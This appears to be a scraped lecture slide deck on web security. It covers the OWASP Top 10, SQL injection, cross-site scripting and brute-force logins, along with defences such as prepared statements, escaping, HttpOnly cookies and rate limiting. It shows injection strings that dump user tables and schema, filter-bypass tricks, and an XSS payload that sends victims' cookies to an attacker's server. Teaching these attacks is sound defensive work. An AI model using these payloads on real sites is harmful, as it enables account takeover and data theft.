eb Security Software Studio yslin@DataLAB 1 OWASP Top 10 - - PowerPoint PPT Presentation

▶
eb security
SMART_READER_LITE
LIVE PREVIEW

eb Security Software Studio yslin@DataLAB 1 OWASP Top 10 - - PowerPoint PPT Presentation

Dec 05, 2023 162 likes •947 views

eb Security Software Studio yslin@DataLAB 1 OWASP Top 10 Security Risks in 2017 Rank Name 1 Injection 2 Broken Authentication and Session Management 3 Cross-Site Scripting (XSS) 4 Broken Access Control 5 Security Misconfiguration

slide-1
SLIDE 1

eb Security

Software Studio yslin@DataLAB

1

slide-2
SLIDE 2

Rank Name 1 Injection 2 Broken Authentication and Session Management 3 Cross-Site Scripting (XSS) 4 Broken Access Control 5 Security Misconfiguration 6 Sensitive Data Exposure 7 Insufficient Attack Protection 8 Cross-Site Request Forgery (CSRF) 9 Using Components With Known Vulnerabilities 10 Underprotected APIs

OWASP Top 10 Security Risks in 2017

https://www.owasp.org/index.php/Top_10_2017-Top_10

2

slide-3
SLIDE 3

SQL Injections

3

slide-4
SLIDE 4

Username Password

4

slide-5
SLIDE 5

cat

Username Password ******************

5

slide-6
SLIDE 6

function get(username, password) { const sql = ` SELECT * FROM users WHERE username = '${username}' AND password = '${password}' `; return db.any(sql); }

slide-7
SLIDE 7

cat

Username Password meow

SELECT * FROM users WHERE username = 'cat' AND password = 'meow'

username password name cat meow A Cat

slide-8
SLIDE 8

SQL Injections

Users Do What You Do Not Expect

slide-9
SLIDE 9

cat

Username Password 1' OR '1' = '1

SELECT * FROM users WHERE username = 'cat' AND password = '1' OR '1' = '1'

username password name admin AAAAAAAA Adminstrator cat meow A Cat dog bow A Dog bird chou A Bird

slide-10
SLIDE 10

If your server will return the results directly… (e.g. message boards)

slide-11
SLIDE 11

id title message 1 HL3 When can I see Half-Life 3 coming out ?

http://mywebsite.com/posts?id=1

11

SELECT title, message FROM posts WHERE id = 1

slide-12
SLIDE 12

A Powerful Keyword UNION

slide-13
SLIDE 13

UNION

SELECT title, message FROM posts SELECT username, password FROM users

title message Knock Knock knock username password admin AAAAAAAA cat meow

SELECT title, message FROM posts UNION SELECT username, password FROM users

title message Knock Knock knock admin AAAAAAAA cat meow

slide-14
SLIDE 14

http://mywebsite.com/posts?id=-1 UNION SELECT username, password FROM users

14

SELECT title, message FROM posts WHERE id = -1 UNION SELECT username, password FROM users

title message admin AAAAAAAA cat meow dog bow bird chou

slide-15
SLIDE 15

Wait !!!!

How Did He/She Know What Tables I Have ?

slide-16
SLIDE 16

http://mywebsite.com/posts?id=-1 UNION SELECT table_name, column_name FROM information_schema.columns WHERE table_schema = 'public';

slide-17
SLIDE 17

SELECT title, message FROM posts WHERE id = -1 UNION SELECT table_name, column_name FROM information_schema.columns WHERE table_schema = 'public';

title message users id users username users bow users name posts id posts title posts message

slide-18
SLIDE 18

What If There Are Something Behind the id in The Query ?

SELECT title, message FROM posts WHERE id = ... AND msg_type = 'public'

slide-19
SLIDE 19
  • (comment mark)

p.s. the mark may be different in different database systems

slide-20
SLIDE 20

http://mywebsite.com/posts?id=-1 UNION SELECT username, password FROM users --

20

SELECT title, message FROM posts WHERE id = -1 UNION SELECT username, password FROM users -- AND msg_type = 'public'

It becomes comments

slide-21
SLIDE 21

WTF

21

slide-22
SLIDE 22

Live Demo

https://github.com/SLMT/very-secure-website

slide-23
SLIDE 23

The core problem is:

The clients’ inputs may be treated as SQL keywords

Prepare Statements !!

slide-24
SLIDE 24

function get(username, password) { const sql = ` SELECT * FROM users WHERE username = '$<username>' AND password = '$<password>' `; return db.any(sql, {username, password}); }

Your data go here

slide-25
SLIDE 25

More Information

  • What you just saw is a kind of syntax provided by

pg-promise

  • You can learn more information about prepared

statements on their documents:

  • https://github.com/vitaly-t/pg-promise/wiki/Learn-

by-Example#prepared-statements

slide-26
SLIDE 26

Cross-Site Scripting (XSS)

26

slide-27
SLIDE 27

Scenario 1

27

slide-28
SLIDE 28

User: SLMT Steam winter sale starts !! User: MIT Bro

Please type in your message here…

28

My wallet is ready !!

slide-29
SLIDE 29

<script>alert(“meow”);</script>

29

User: SLMT Steam winter sale starts !! User: MIT Bro My wallet is ready !!

slide-30
SLIDE 30

<script>alert(“meow”);</script>

30

User: SLMT Steam winter sale starts !! User: MIT Bro My wallet is ready !! User: SLMT

slide-31
SLIDE 31

User: SLMT Steam winter sale starts !! User: MIT Bro My wallet is ready !! User: SLMT Close

meow

31

slide-32
SLIDE 32

32

slide-33
SLIDE 33

But it is just a prank

How can a bad guy use it ?

33

slide-34
SLIDE 34

Yummy !

Cookie is stored in client-side. It usually contains some sensitive data.

E.g. The key for the server to identify a user

34

slide-35
SLIDE 35

Cookie can be retrieved using javascript

Try to open a console of a browser, and type in document.cookie

35

slide-36
SLIDE 36

<script>location.href=("http:// myserver.com/somepage?cookie=" + document.cookie);</script>

36

User: SLMT Steam winter sale starts !! User: MIT Bro My wallet is ready !!

slide-37
SLIDE 37

http://myserver.com/somepage?cookie=

37

slide-38
SLIDE 38

Lots of websites having message boards had such vulnerabilities before.

So, the website without such functions are safe ?

Not exactly

38

slide-39
SLIDE 39

Scenario 2

39

slide-40
SLIDE 40

http://somewebsite.com/showimage?id=1 You are watching an image with id = 1

40

slide-41
SLIDE 41

http://somewebsite.com/showimage?id=a

41

You are watching an image with id = a

slide-42
SLIDE 42

http://somewebsite.com/showimage?id=<script>al…

  • meow

42

You are watching an image with id =

slide-43
SLIDE 43

Hi~ Hello~ A cute cat !! http://goo.gl/abcdef http://somewebsite.com/showimage? id=<script>location.href=(“http://myserver.com/ somepage?cookie=" + document.cookie);</script>

43

slide-44
SLIDE 44

WTF x 2

44

slide-45
SLIDE 45

Cross-Site Scripting

Cross site to retrieve sensitive data Using scripts to attack

45

slide-46
SLIDE 46

How To Defense ?

46

slide-47
SLIDE 47

Lots of filtering methods

But, there are also lots of ways to bypass

  • 1. Filtering

47

slide-48
SLIDE 48

Filtering Method 1

Removing all <script> words

But using <SCRIPT> will be safe.

48

slide-49
SLIDE 49

Filtering Method 2

Replace all script

But, <scscriptript> becomes <script>

49

slide-50
SLIDE 50

Learning Filtering Methods

  • Some practice websites
  • alert(1) to win
  • If you cannot see the page, try to replace

‘https’ with ‘http’

  • prompt(1) to win

50

slide-51
SLIDE 51
  • 2. Escaping

51

slide-52
SLIDE 52

<script>alert("meow");</script> &lt;script&gt;alert(&quot;meow&quot;);&lt;/script&gt;

Lots of Framework have provide such built-in functions

52

slide-53
SLIDE 53
  • 3. Browser-support Headers

53

slide-54
SLIDE 54

Headers

  • X-XSS-Protection: 1
  • Works in Chrome, IE (>= 8.0), Edge, Safari, Opera
  • The browsers will detect possible XSS attacks for you.
  • Set-Cookie: HttpOnly
  • Disallow the scripts to retrieve
  • can only be retrieved by HTTP requests
  • More here

54

slide-55
SLIDE 55

However, according to a research

  • f a famous security company…

55

Only 20% of websites in Taiwan using those headers. Only 7.8% of websites using more than two such headers.

slide-56
SLIDE 56

Some XSS Practices

  • XSS Challenges
  • XSS Game (Recommend to open using Chrome)

56

slide-57
SLIDE 57

Brute-Force Attacks

57

slide-58
SLIDE 58

Username Password

slide-59
SLIDE 59

admin

Username Password

slide-60
SLIDE 60

admin

Username Password 00000

slide-61
SLIDE 61

admin

Username Password 00000

Close

Wrong Password

slide-62
SLIDE 62

admin

Username Password 00001

slide-63
SLIDE 63

admin

Username Password 00000

Close

Wrong Password

slide-64
SLIDE 64

admin

Username Password 00002

slide-65
SLIDE 65

admin

Username Password 00000

Close

Wrong Password

slide-66
SLIDE 66
slide-67
SLIDE 67

admin

Username Password 04876

slide-68
SLIDE 68

admin

Username Password 04876

Close

Access Granted

Usually hackers doing this using scripts

slide-69
SLIDE 69

Live Demo

slide-70
SLIDE 70

How to Defense ?

Limit how many times a user can try to login in a given time window. Rate Limiter - A Node.js library

slide-71
SLIDE 71

admin

Username Password 00002

slide-72
SLIDE 72

admin

Username Password 00000

Close

Please Try It 5 minutes Later

slide-73
SLIDE 73

Resource

73

slide-74
SLIDE 74

OWASP Node.js Goat

  • An example project to learn how common security

risks apply to web applications developed using Node.js

  • https://www.owasp.org/index.php/Projects/

OWASP_Node_js_Goat_Project

slide-75
SLIDE 75

Checklists

  • Node.js Security Checklist
  • A checklist for developers to prevent security

risks on Node.js.

  • Security Checklist Developers
  • A general security checklist for backend

developers

slide-76
SLIDE 76

HITCON Zero Days

  • A website for users to report the vulnerabilities they

found.

  • https://zeroday.hitcon.org/
slide-77
SLIDE 77

Thank You